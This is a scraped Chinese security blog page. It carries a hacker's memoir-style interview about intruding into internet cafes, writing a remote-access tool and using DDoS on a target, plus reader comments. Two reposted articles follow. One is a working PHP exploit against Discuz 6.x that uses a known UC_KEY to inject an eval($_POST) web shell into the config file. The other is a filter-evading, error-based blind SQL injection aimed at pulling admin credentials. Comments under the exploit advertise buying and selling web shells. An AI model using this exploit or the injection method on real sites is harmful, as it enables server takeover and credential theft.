赞一个。
本站回复：
感谢！
佚名 @ 2016-02-12 11:22:55
本人用php写了一个万能的
本站回复：
恭喜恭喜
佚名 @ 2016-04-22 20:18:51
666
本站回复：
666
Any3ite @ 2016-04-25 14:21:56
我点了一下找答案，找到了答案 地上有130块钱你看到了没。 诶对了， 第17行代码有一个错误的地方， 反正我也不懂vbs我就瞎说了。
本站回复：
明明是 71 行好么，-_-!!!
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-12-16 15:23:44
最近一直比较忙，没多余时间更新、管理博客，今天抽时间记录一下……
这篇采访稿出来有一段时间了，前几天 T00ls.Net、和 FreeBuf.COM 进行了发布：
T00ls.Net：
2015-12-10 15:11 官网文章：专访民间黑客核攻击：在自己的道路上，谱写自己的传奇【T00ls人物专访第四期】
2015-12-12 微信公众账号：专访民间黑客核攻击：在自己的道路上，谱写自己的传奇
FreeBuf.COM：
2015-12-13 官网文章：专访知名民间黑客“核攻击”：在自己的道路上，谱写自己的传奇
2015-12-13 微信公众账号：专访知名民间黑客“核攻击”：在自己的道路上，谱写自己的传奇
本文章由土司论坛（T00ls.Net）策划，T00ls 假说（js@t00ls.net）撰稿，在 T00ls、FreeBuf 都有发布，内容略有修改，以下为未修改原稿，留作记录。
【自述】
没有富二代的财富，
没有官二代的背景，
也没有军二代的后盾……
我，核攻击，来自中国大西北一处普通的小山村，一个纯种屌丝~
小时候的记忆已日渐模糊，
但依稀记得，那些年，那个家，还是全村著名的贫困户，以及每逢过年过节来讨债的大叔……
不过，小时候学习还算争气，常年霸占年级前三，家里的土坯墙也因为贴满了各种奖状，显得金碧辉煌许多。
上学追逐戏闹，放学下河捉蟹，晚上在大户人家里蹭黑白电视看动画片……
时光匆匆，岁月如梭，一晃眼到了初中时代……
不负众望，如愿考上了当时县里名牌中学。
进了大县城，入了新学校，也在初一的微机课上第一次摸到了只在黑白电视中见过的计算机，头次知道还有电脑这种神奇的东西！
从此对它产生了浓厚的兴趣，闲暇时间翻阅各种教科书，逐行逐字看的如痴如醉。
课桌上的初中《信息技术》已快被翻烂，里边写满了各种笔记以及自己的心得体会，还在空白处手算二进制、八进制、十进制、十六进制，估计全校就我一个这么干吧，其他人都撕了折飞机……
那时，每周最期待的事情就是上微机课，每次遇到新的问题、知识，就等着在下周的微机课上实践，当时一周只有一节课，有时还被其他老师占了……
后来，应该是在初二吧，在 Word 97 中用 Visual Basic 语言写了人生中的第一个“hello, world”程序，当它成功运行时，兴奋了好几天！
再后来，渐渐地有了十块八块的零花钱，有次在报刊亭看新出的故事会，偶然间瞅到了一本关于黑客的杂志，当时还不知道黑客是什么，只是看到封面和计算机知识有关，一咬牙，拿一周的零食换了这本杂志回来！！！
然后放学火速奔回家，一头扎进去，一直看到半夜才看完，知识第一次被颠覆，原来计算机世界这么大！！！
从此一发不可收拾，什么《黑客X档案》、《黑客防线》、《黑客手册》、《大众电脑》之类的每周必买，当时只有一个报刊亭卖，每次还只有两三本，去迟了就没了！
然后白天就在学校偷偷翻杂志，把一些重要的知识点写在笔记本上，死记硬背书里的 cmd 命令，放学、放假去网吧实践……
每周的书刊都翻了又翻，里边做满了笔记，翻完杂志又去逛杂志官网论坛，自己没有电脑读取附带的光盘内容，就去下载别人发布的光盘镜像，玩那些软件玩的不亦乐乎，书籍一直保留到现在也没舍得卖。
一直买了一两年，直到后来觉得书里的内容太菜了，就再也没买了，后来互联网媒体时代到来，对传统纸质媒体产生冲击，这些书刊有些只出电子版了，大部分直接绝刊倒闭了！
这些书刊对当时的我影响很大，知识在一两年之中突飞猛进，渐渐地在当地小有名气，还收了好几个徒弟，入侵过本地几乎所有网吧，然后这些网吧老板、网管都认得我了，去上网都跟防贼似的看着，当然，也有些最后混成了朋友……
岁月匆匆，一晃眼，已步入了高二的学堂……
这一年，发生了许多事，家里的变故，再加上也没有钱继续交学费，于是就彻底告别了学生生涯，十几岁的我匆匆步入社会，开始赚钱养家……
没有任何社会经验，也没有任何工作能力，一个十几岁的未成年穷屌丝学生能干啥？
最初的几个月都在网吧包夜度过，做着黑产大牛一夜暴富的梦，混时度日，对未来一片渺茫……
数月后，在别人的介绍下，在某网吧开始当网管，一个月工资只有五百多，很低很低，只够吃饱饭，但是每天可以长时间免费上网，这令我很开心，毕竟当时网费还是很贵的……
于是，在这个嘈杂、肮脏、混乱不堪的环境中，度过了我人生中很重要的一段学习时光……
以前对硬件一窍不通，现在天天修机维护，造就了我对硬件的精通，各种疑难杂症手到病除，积累了丰富的底层硬件知识。
这是我黑客生涯最活跃、最巅峰的一段时间，白天端茶泡面、搽桌扫地、修机维护，见识社会各色人等，晚上通宵奋战，横行于各大黑客论坛之中……
也就是在这时结识了蹒跚学步的 t00ls、吾爱破解、看雪、绿色兵团，以及各类杂七杂八的技术论坛，什么黑客动画吧、黑客基地、黑鹰、Dir溢出的红客联盟，只要是个黑客技术网站，就都有我的足迹，甚至还开了个网站叫“巅峰黑客”（现在看起来，真他丫的SB！-_-!!!）！
凭着过硬的技术、雄厚的实力，在 oldjun（老君）的邀请下，混进了 t00ls 核心圈子，还当上了版主，后来因为年轻气盛和某核心成员吵架，又被赶出核心圈，至今保留一个荣誉会员称号……
那个时期，编写、发布过很多软件，可能有人还记得在 t00ls 发布的“全球首款B/S构架远控 Network Rat v8.0”，没错，那个是在网吧连续通宵三五天写出来的！但现在看起来，就像是个玩具……
在网吧的学习生涯，每天都像打了鸡血，知识面涉猎之广，连现在的我都感到恐怖，同时也赋予了我极其丰富的各类知识。
就这样，没日没夜丧心病狂的活着……
时间一晃，一半年过去了，随着在黑客圈知名度的增加，以及技术实力的增强，手里也渐渐地攒了一些钱，终于凑够钱买了人生第一台电脑！某款杂牌机！！！
之后就很少去网吧了，而是蜷缩在县城某个城中村出租屋的黑暗小角落里，用着自己新买的电脑潜心研究，脱去浮躁，慢慢向真正的技术大牛进化，足不出户，不知世上是何年……
花开花落，果生果熟，叶出叶红，叶凋雪落，又一年过去了……
在这期间丰富了更多新的知识，建立了个人小站：https://lcx.cc/，一直运行到现在，同时也见证了乌云的崛起。
后来，机缘巧合，认识了一些公司老总，在贵人大力邀请之下，告别蜷缩了几载的小小出租屋，正式进入搬砖生涯……
再后来，这些年，一直走南闯北，手里也渐渐的有了些积蓄，生活也更舒适一点了……
然后，然后就没有了……
（完）
（注：以上内容纯属虚构，如有雷同，绝无可能！）
----------
写在最后：
正是因为对自己变态的要求，才造就了自己的现在，做！就要做第一！
我们现在还很年轻，人生的轨迹，也才刚刚开始。
这个世界，从来就没有什么公正、平等！
既然没有含着金汤勺出生，就更要付出常人千倍、万倍的努力！
在自己的道路上，谱写自己的传奇！
【1】自己的故事：
1.基本信息，做过那些牛掰的事儿？感觉最有成就感的一件事是什么？
牛掰的事情嘛，干过挺多的（lcx.cc 上有很多相关文章），最有成就感嘛，那当然是创立 https://lcx.cc/ 。
2.网名是怎么来的？核总这头像啥意识？用了这么多年，有什么寓意？
其实我最早网名不叫“Nuclear'Atk（核攻击）”，而是“Hacker'Rose”，后来和 t00ls 核心吵架，那个号封了，然后新注册了一个，想着起个牛逼独特的网名，正巧看到百度新闻“…核攻击…”，就用了……
后来也没改过，就用了这么多年，至于寓意，在博客也说过（https://lcx.cc/post/1/），其实很简单，引用原文：
**********
英文：Nuclear'Atk
中文：核攻击
英文网名拆开的意思是：
Nuclear：英语单词，1. 核,核子,核能，2. 核心的,中心的，3. 原子核的,原子能的,原子弹的。
'：半角单引号，用来判断注入的经典符号，这里用来做连接符、分割符。
Atk：英语单词 Attack 的缩写，意思为：1. 进攻,袭击，2. 攻击,打击,攻,攻打，3. 抨击,责难
有时当某些网站禁止使用单引号的时候，还用过：NuclearAtk、Nuclear-Atk、Nuclear_Atk 等昵称。
2010 年以前用的网名为：HackerRose，带“er”的，不是“HackRose”。
**********
头像取自十几年前的一部电影《地心毁灭》，电影末尾老鼠黑客(Rat)开发的一款软件中的logo，截图提取出来，再配上电影《黑客帝国3》的壁纸作为背景，就成了现在的头像。
有眼尖的朋友发现，头像中有两个单词“Network”、“Rat”，后来也被我作为一款远控的名字了（见自述）。
黑客帝国3 影视壁纸，下载地址：https://lcx.cc/file/old/1762_黑客帝国3 影视壁纸.jpg
3.何时开始学习的黑客技术，因为什么喜欢上了黑客？
嗯，在自述里详细讲了，初中。
4.在学的过程中遇到过那些有趣，兴奋，激动的故事，有那些比较印象深刻的事情？
嗯，这个在自述里有详细说。
5.最开始学习技术的时候是通过什么样的方法学习的？现在呢？
嗯，这个在自述里有详细说。
6.渗透最久的站用了用了多长时间，最后怎么搞定的？
最久的，断断续续几个月吧，最后 DDOS 迫使其更换服务器，然后你懂得……
7.当你感觉到瓶颈的时候你是怎么做的？
换个思路，绕出来，再从另一入口进，山穷水尽疑无路，柳暗花明又一村~
8.在那些论坛组织学习过？写过那些黑客工具？
噢噢，这个太多了，自述里详细写过一部分，工具嘛，更多了，具体参考 https://lcx.cc/。
9.在没发家致富的时候是怎么平衡现实需求和技术追求的？是否有时间不够用的情况？
参考自述内容……
10.家长对你学习黑客技术持有什么样的态度？亲朋好友之间有学习黑客技术的吗？
因为对这个并不懂，但作为一门技术来说，持支持态度。
部分好友有学习。
11.还有什么其他的兴趣爱好吗？业余时间做什么？在黑客领域之外，还关注那些领域的知识？
兴趣爱好很多，音乐、游戏、电影、摄影、写作等……关注的领域也很多，主要是科技之类的。
12.谈谈大家很关心的避免水表的经验，如何保护自己？
这个问题面太广，完全可以独立写一本书，简单的说的话，把真实身份和虚拟身份隔离使用。
更多保护自己的知识可以参考：https://lcx.cc/
【2】核攻击的生存现状
1.核总现在结婚了吗？孩子几岁了？爱人是做什么的呢？
结婚嘛，现在太年轻，太早！女友嘛，这是个奢侈品，不敢拥有~
2.觉得做WEB的10后挣钱方向是啥？
这个不敢妄下评论，我感觉应该是移动端吧。
3.现在的状况是什么样的？未来的打算是什么样的？
现在状况么？在某食品行业搬砖！
未来打算么？谱写自己的传奇！-_-!!!
4.核总技术做了多久？现在做的是技术还是管理？
网络安全经验，大概有十年了。
现在技术管理都做，以后可能转型为管理吧。
【3】对当前网络、信息安全的看法
1.网络安全事故频发，你如何看？
任何行业都有安全事故，控制在安全的度里即可。
网络安全近几年由于媒体热炒，再加上技术广泛化，就暴露很多问题了，等过了这个时期，全民安全水平提高，就不会有那么多安全问题了。
2.对现在的国内安全现状和未来的趋势有什么见解？
国内安全现状嘛，个人感觉很混乱，毕竟是一个新兴的行业，还没有发展出自己的规则。未来应该会整合、规则化。
3.国内外的企业应该怎么样避免这些事件的再次发生？
对企业接触不多，不敢妄下评论。但肯定要学习经验、亡羊补牢。
4.对黑产和白帽子的看法是什么？
两者本质没有区别，都是靠技术生存，只是途径不一样。
5.您能否从自己的角度说下现今国内黑产现状与模式以及未来的发展趋势？
这个问题太大，就我个人观点，现在国家政策等原因，未来小鱼小虾会消失，只留下大玩家继续玩，手段也会更隐蔽，但永远都不会消失。
6.有人说黑客圈技术环境变了，在你看来之前的环境是怎么样的，现在的环境是怎么样的？
改变是肯定的，前几年行业新兴，泡沫太大，普遍浮躁，现在泡沫基本消散了，也都静下心了。
7.健康的技术环境应该是怎么样的？
那要看你如何定义“健康”了。
8.黑客需要一个什么样的环境？国家，企业，社会，媒体，个人应该怎么做？
嗯，无限零食供应，超高配置设备，舒适的工作环境，几个极品妹纸助手，嗯，一定是这样的环境！
国家，出台政策，使它逐渐正规化，像过渡到白帽子一样，合法的研究技术。
企业，正视自身网络安全问题，加强自身防范，而不是单方面指责黑客行为。
媒体，合理引导社会舆论。
个人，转职……
9.在安全行业百家争鸣的时代，核总最看好的是哪个方向呢？大数据安全分析？威胁情报？可视化安全？or等等。核总怎么看？
每个方向都各有所长、各有优缺，不能进行简单比较。
我觉得未来大数据分析预测，应该是主流方向。
这里说的不是这些企业搞得那些“概念大数据”，而是将整个社会各行各业数据进行整合分析，虚拟一个世界运行，预测未来发生的事，就像《美国队长》中的洞察计划、《少数派报告》一样，预测犯罪、事故、灾难的发生，并将其消灭在萌芽中，这是很有价值也是很恐怖的一件事。
咳！扯远了……
10.关于信息安全这个行业，核总毕竟也是行业大佬了，眼光肯定很独到，就近几年来看，安全产业发展得也算挺红火，市场需求量也在逐渐增加，政府和大众的重视程度也在提升，这是否就意味着安全行业的未来发展形势会很好，不会受到传说中的互联网寒冬的影响？
这个问题很难回答，我等屌丝也无法预测这类问题。
安全行业是基于企业安全需求的，企业有需求就不会有寒冬，安全行业是个新兴行业，还在发展中，很难预料。
【4】对将要踏入信息安全行业的新朋友们提一些建议
1.针对现今网络安全人士，会点渗透，刚大学毕业，开口就要15-40k月薪的看法。小伙伴们毕业没多久，经验不足。但是开口就是几十几十k的要，真敢开口啊。互联网安全行业现在就是泡沫行业吗？ 有一天会突然一下的 破了吗？那些没有CISSP，CISP，CISA，Security+ 等等的人，没工作过，以前都是玩CTF长大的孩子们，他们哪里来的勇气？就敢狮子大开口？希望核总发表下核心建议。我们这年头，做安全行业的招聘也好难啊。
无论哪个行业，都不缺刚毕业狮子大开口的愣头青。
很少在安全公司混，这个我没有发言权，就不瞎指点了。
嗯，我也没有那些证。亲，我高中都没毕业，贵公司要吗？
2.渗透工程师行业将来的前景如何？核总能否就渗透相关的职业发表些看法。比如做安全服务（乙方）的，做某产的，成为某家公司的安全团队做维护该公司安全问题（算安全运维了？）的，以及为政府效力做境外目标的。就渗透而言，表弟见识短浅，觉得基本也就这几个职业了（求指点）？然后这些职业分别的优劣在哪些地方？
没在乙方待过，听乙方朋友们说，貌似都很累、甲方都很操蛋，想打人，俩字：蛋疼。
某产么，靠实力吃饭，金子满地有，看你有没有本事活着带出来。现在政策越来越严，估计死的人更多了吧。行业整体呈现龟缩状态，将面临新一轮的洗牌。
安全运维么，没待过，感觉相对乙方应该轻松点，据说是祖传背锅的。
国家队，也没待过，涉密单位，进去的朋友再也没出来过，人间蒸发了，嘘~
3.觉得渗透火候差不多了，想要接着提升安全技术，避免不走弯路的路该怎么走呢（下一阶段学啥最靠谱）？
学着如何防御被渗透，将会接触更多知识面，碰到更复杂困难的问题。
4.荐一些性价比高或者值得拥有的技术方面的书吧，越多越好哈哈。以及核总涉猎的方面的内容简单说一下，对于技术应该怎么学习？
这些年基本没看书，有问题直接百度、谷歌，所以不知如何推荐。
学习技术，面很广，我感觉，挑自己感兴趣的方向入手即可，兴趣是学习的动力！
5.有时候会不会觉得搞安全是一个坑？刚开始学习安全需要实践，但是现实是没有什么好的测试环境供大家实践，只有到处找SQL注入点，到处找XSS点，各种洞，各种点，以求技术上有所突破，但这样有可能会惹上官司，搞不好还要进去蹲上两年，安全处处充满坑，请问核总如何看待？
嗯，所以我转职做食品行业了…… -_-!!!
【5】朋友眼中的核攻击
这个看文章发布后的评论就知道了……
摘录部分：
depycode：核总为人很稳重，很有大哥气质。技术很扎实，涉猎广泛深入。从他博客学到很多东西，很感谢核总。
耶稣：喜欢研究东西，，非常低调，知识非常的全面，在他的博客上面学习到了不少的经验，都是他认真思考后发的，可以学到很多。
lmy：核大大是一个很有趣的胖子，身边美女众多……此处省略一万字，重点是软硬都精，软到分分钟来场核风暴，硬到分分钟让你车熄火…借此也感谢核大大帮兄弟解决不少头疼问题…
cond0r：性格比较严肃，不容易接近，但是在技术方面很有钻研精神，有什么问题总要研究出一个所以然来，也乐意分享。
T00ls.Net 评论：https://www.t00ls.net/thread-32390-1-1.html
FreeBuf.COM 评论：http://www.freebuf.com/news/89379.html
留言评论（旧系统）：
失名 @ 2015-12-14 18:47:04
看到核总的专访了，特地发来贺电 ╮(╯▽╰)╭
本站回复：
感谢！感谢！！！
佚名 @ 2015-12-16 16:13:09
核总威武，以核总为方向，努力ing...
本站回复：
加油！
0xLucifer @ 2015-12-16 16:44:30
0xLucifer发来贺电！
本站回复：
感谢！
delectate @ 2015-12-16 19:59:50
《黑X》早就没了，《黑防》最早还分两册，现在也停刊了貌似（电子版也不出了），纸质版只收藏到2010-06。 这条路，不好走。
本站回复：
是滴 +1
佚名 @ 2015-12-17 12:04:27
核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总 核总
本站回复：
-_-!!!
Unicorn @ 2015-12-17 18:54:35
正是因为对自己变态的要求，才造就了自己的现在，做！就要做第一！ 我们现在还很年轻，人生的轨迹，也才刚刚开始。 这个世界，从来就没有什么公正、平等！ 既然没有含着金汤勺出生，就更要付出常人千倍、万倍的努力！ 在自己的道路上，谱写自己的传奇！ --这段话振聋发聩！ 前辈，学习了！
本站回复：
good good study, day day up!
佚名 @ 2015-12-18 17:09:51
核总威武，我以为你自己给自己做的专访呢。。。
本站回复：
-_-!!!
ayiis @ 2015-12-18 21:53:32
核总，核大，蛋大，JB大，haha
本站回复：
同大、同大！-_-!!!
Joyce @ 2015-12-18 21:54:59
核总威武
本站回复：
感谢！
佚名 @ 2015-12-22 16:05:44
看了核总的经历好励志！祝核总早日结婚，早生贵子！！！！！！！！！！！！！！！！！！！！！！！！！！
本站回复：
感谢支持！
佚名 @ 2015-12-22 19:19:59
请在这里填写留言内容，最长不超过 1000 字。
本站回复：
[暂无回复]
Sany @ 2015-12-22 23:52:54
坚持就是胜利，谢谢分享经历。
本站回复：
感谢！
佚名 @ 2015-12-26 11:20:27
贺电贺电，就差你被神化了
本站回复：
-_-!!!
NEUIN @ 2015-12-31 00:34:51
同在荣誉会员群，当时测试过你那网吧写的远程软件，你啥时候把我删了。
本站回复：
QQ人太多，定期清理。
lotion @ 2016-01-02 10:07:27
我们特别像啊~~~~
本站回复：
与君共勉！
wormfox @ 2016-01-03 19:17:24
很多相同的经历！
本站回复：
与君共勉！
哈哈 @ 2016-01-04 23:07:10
跟核总有过一些相似的经历，我几年前就转行了，转玩金融了.......但还是默默关注安全这行业。。。。。。。。。。
本站回复：
哈哈哈，你转行的早！！与君共勉！
烟头 @ 2016-01-10 21:52:51
网吧一样的经历，验证码很操蛋你知道么
本站回复：
-_-!!!
拉拉 @ 2016-01-16 20:33:21
哈哈哈哈哈两个无关紧要的问题 1、课桌上的初中《信息技术》已快被翻烂，里边写满了各种笔记以及自己的心得体会，还在空白处手算二进制、八进制、十进制、十六进制，估计全校就我一个这么干吧，其他人都撕了折飞机…… 现在看来没什么 但当时同学有没有觉得你很装之类的啊。 2、从此一发不可收拾，什么《黑客X档案》、《黑客防线》、《黑客手册》、《大众电脑》之类的每周必买，当时只有一个报刊亭卖，每次还只有两三本，去迟了就没了！ 有没有知道买这些书其他几个人去干什么了
本站回复：
1、想己所想，做己所做；旁人想法，不曾注意。 2、城镇很小，高手寥寥，想必都拿去擦屁股了……
CoreFish @ 2016-01-30 10:39:49
有着一段与何总相仿却还没书写完整的经历，之所以这么说是因为现正处于核总用VB编写“Hello World”的年龄，却有着核总许多的后续经历，看完文章激励人心，希望能往核总的方向发展吧。
本站回复：
与君共勉！
CoreFish @ 2016-02-01 11:54:00
心无所妄，心落于实，想己所想，做己所做，如其所是，非己所想，不忘初心，方得终始。
本站回复：
大师！
尼古拉斯赵四 @ 2016-02-01 18:41:41
我点一个赞，给99分，一分用666的形式给楼主，避免楼主傲娇以后不更新博客。
本站回复：
你赢了！ -_-!!!
小成 @ 2016-02-25 14:21:33
小成致核电，哈哈哈，觉得差不多的人，这不是你们特么高中辍学的理由。我不是针对谁，我只想说，在座的各位。。。
本站回复：
-_-!!!
某站长 @ 2016-03-03 23:12:06
哎，当年拿着自己的红包钱去买了5块的虚拟主机然后搞了一个com域名 然后办了一个论坛,之后因为穷的问题关站。现在想起来当初的论坛真垃圾。
本站回复：
-_-!!!
来自某大学的大二屌丝 @ 2016-03-07 18:13:16
小时候和你一样，很喜爱电脑 一年级接触，四年级时在机房百度查询了杀进程代码，还查询了注册表找到卸载密码，自己电脑上安上了教室客户端。。。。。各种关机。。。。后来可能我在家里生活得太安逸，木有像您这样坚持下去。。。。。。
本站回复：
-_-!!!
zdir @ 2016-03-07 21:41:48
挺励志，我不会放弃.
本站回复：
感谢支持！与君共勉！
Monster @ 2016-03-07 21:46:40
核总，请问你当网管的时候，一天睡多少小时啊我擦，我现在跟核总的情况差不多，高中喜欢上了黑客技术，一直在坚持，真的非常着迷。我现在也在一家网吧也当网管，的确网吧的环境很难让人静下心来学习，，，
本站回复：
七八个小时吧~与君共勉！
佚名 @ 2016-03-15 23:13:06
核总已经2016年了，还没老婆和情人吗？
本站回复：
你猜~
Any3ite @ 2016-03-18 15:01:48
什么时候这个验证问题怎么还出现这 18、注销已登录用户的命令是？ [换一个] [找答案] 介意添加点关于男人都懂的知识么？
本站回复：
你赢了…… -_-!!!
黑鸡 @ 2016-03-29 13:56:50
你好蛋疼
本站回复：
啊
Sovi @ 2016-04-26 00:56:13
核总，咱俩经历挺像的
本站回复：
与君共勉！
- 博客 Jiajun的编程随想 2015-12-05 08:00:00《关于python的decorator和descriptor》一提到python，大家都会说，这门语言很简单。对有编程经验的人来说，python的语法确实能够在两小时内掌握，但是python这么强大，必然是有一些不那么容易掌握的东西的...
- 博客 轶哥博客 2015-11-28 13:50:46<>emem由于PHP6中将默认以PDO方法连接数据库，而PDO方法优点很多，因此此文仅介绍PDO方法连接数据库进行操作。需要注意，从 PHP 5.1 开始附带了 PDO，在 PHP 5.0 中是作为一个 PECL 扩展使用，在生产环境中强烈建议升级到PHP5.4+版本。
PDO操作数据库的主要优点
- 支持多种数据库（只要提供正确的数据源，其它的数据库操作是一样的）。
- 开发效率更高，便于移植。
- 对事务处理支持更好，特别是事务回滚。
- 更为安全。
- 博客 轶哥博客 2015-11-25 23:19:26<>emem今天上C#课时机子IP地址冲突，就百度了一下在线IP扫描一类的代码，整理了一下分享给大家。<>这是个非常实用的小程序，可以用于多媒体教室查询在线机子数量、公司内网在线用户管理。当然，查询机房在线IP也可以实现。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-11-24 14:33:57
DZ6.x的UC_KEY getwebshell exploit
L.N. (http://ln.sycsec.com/) | 2015-11-17 13:55
网上有dz 7.x和dz x系列的uc_key 利用方式，今天遇到了一个dz6.0的网站，于是分析了下代码，改了下利用程序，分享给需要的人。uc_key getshell 是一个影响比较广存在比较久的漏洞，基本上使用ucenter做用户中心的程序都可以使用，但需要根据特定程序写特定利用。最新版本的dz好像是修补了，没有具体看代码了。
ps:需要或者感觉不错的请挥挥你的小手 点击 “顶”
注意三个地方：
1.在dz6.x中对xml的解析是不一样的，所以需要修改利用exp
$post = uc_unserialize(uc_post_contents());
2.低版本中$UC_API并没有转义，所以不需要提交2个包
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '$UC_API');", $configfile);3.低版本的加密函数也是不一样的
<?php // 代码版权归原作者所有！ $timestamp = time()+10*3600; $host="127.0.0.1"; $uc_key="Qfp1O0N3h5V356bbUdPer3958dp8X3b55dBa9fKai7s3Q7AbY9I3Hcnc7ec505sa"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <UC_API id="UC_API">http://xxx\');eval($_POST[DOM]);//</UC_API> </root>'; $html1 = send($cmd1); echo $html1; function send($cmd){ global $host,$code; $message = "POST /dz/api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>留言评论（旧系统）：
佚名 @ 2015-12-01 15:14:40
学习了
本站回复：
good good study, day day up~
佚名 @ 2015-12-04 14:55:22
我想找个黑客做业务 业务量很大 有意向联系我 谢谢1343119337
本站回复：
-_-!!!
佚名 @ 2015-12-12 12:54:49
寻找一名渗透的技术员，弄个小网站Q632523093
本站回复：
站长提示：网络广告有风险，注意辨别，谨防上当受骗！！！
佚名 @ 2016-01-11 15:01:01
up up
本站回复：
-_-!!!
Good @ 2016-01-23 21:27:20
This payload is Good.
本站回复：
-_-!!!
boom @ 2016-02-20 13:35:00
收SHELL 收SHENLL 收高权重SHELL 重要的事说3遍， 邮箱：1755961338@qq.com
本站回复：
-_-!!!
佚名 @ 2016-05-21 15:20:51
长期出售SHELL，要的qq751845429
本站回复：
友情提示：网络广告有风险，注意辨别，谨防上当受骗！！！
- 博客 轶哥博客 2015-11-20 23:28:57<>emem本文是针对PHP新手的Seio教程 —— 用户注册、登录、身份认证。以下代码均为伪代码。正式项目中需要修改完善强化其安全性。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-11-10 17:06:38
一个基于报错的盲注场景
MayIKissYou | 2015-11-06 16:17
1：背景
近日某壮汉给了我个链接 说有注入 但是过滤了一些关键字 导致数据有些出不来 让我帮忙看看
于是 我看他造爷 就研究了下 场景说明给大家，有兴趣的同学一起交流 不一定是好办法，目前为止想到的
可行的办法
2：场景
一个站点的登录框存在注入，
1）：用户名存在，密码不存在 通过输入'号出来明显的报错信息
2）：输入正确与错误的用户名都会返回 用户名或则密码错误
3）：此处过滤了(select 基本上输入(sdadadsselectadsd也会被过滤[此处个人觉得是比较恶心的 过滤太严，而且出数据基本靠他了]
4）：不想用时间盲注 怕把服务器给睡挂了
ps。测试的时候就没用线上环境了 自己在数据库的表里找了个实例测试了
3：想法
由于select被干的太狠了，因此想法就是要把管理员的账号密码弄到就好了。
但是现在比较惨的地方是直接用经典的报错语句 由于语句中有(select会直接被干掉的
于是此时就想由于当前就在user表里，直接通过username=‘admin’and password='xxx'的形式来猜解账号密码
1）起初用了updatexml()来进行报错
大致语法就是
select * from corp where corp_id =1 and updatexml(1,if(1=2,1,concat(0x5e,version())),1)
但是这里当我把1=2 改成user字段的时候 会提示如下内容
ERROR 1105 (HY000): Only constant XPATH queries are supported
仅仅支持constant
然后我换了种 写法
select * from corp where corp_id =1 and if(1=1,1,updatexml(1,concat(0x5e,corp_id),1)) ERROR 1105 (HY000): Only constant XPATH queries are supported
我的想法是1=1的时候不执行这个报错语句，结果发现mysql在执行顺序的时候 先执行了updatexml语句
我擦没办法了 走到头了 换个别的方法吧。
2）换了个报错语句 group by concat(version(),floor(rand(0)*2)) having min(0)
于是很快的写出了如下的语句：
select * from corp where corp_id in (1,2,(if(1=1,3,2))) group by concat(version(),floor(rand(0)*2)) having min(0);
ps.说明下 这里我corp里面有3列 id分别为1 2 3
我们先来查看一下运行结果：
这样一个基于报错的盲注的方法
我们直接去这么操作：
正确的时候返回为空 不正确的时候返回为报错。
于是我们可以使用corp_id=1 and corp_name= 'xxxx'的形式最后获取corp_name的值
按道理类似的使用uname = ‘admin’ and upass = 'xxx'的方式获取pass的值
ps.
但是这里得靠字典将pass的字段爆破出来
各种吐槽：
1#
Vigoss_Z (http://i-security.cc) | 2015-11-06 16:28
没看懂啊,
pass也可以相同的办法, 36x16(32次)搞定?为什么需要字典？
2#
MayIKissYou | 2015-11-06 16:30
@Vigoss_Z 啊 实际环境不知道 user表的password字段的名称的 = =
3#
紫霞仙子 | 2015-11-06 16:32
waf小王子，赞！
4#
Vigoss_Z (http://i-security.cc) | 2015-11-06 16:37
@MayIKissYou
2333333
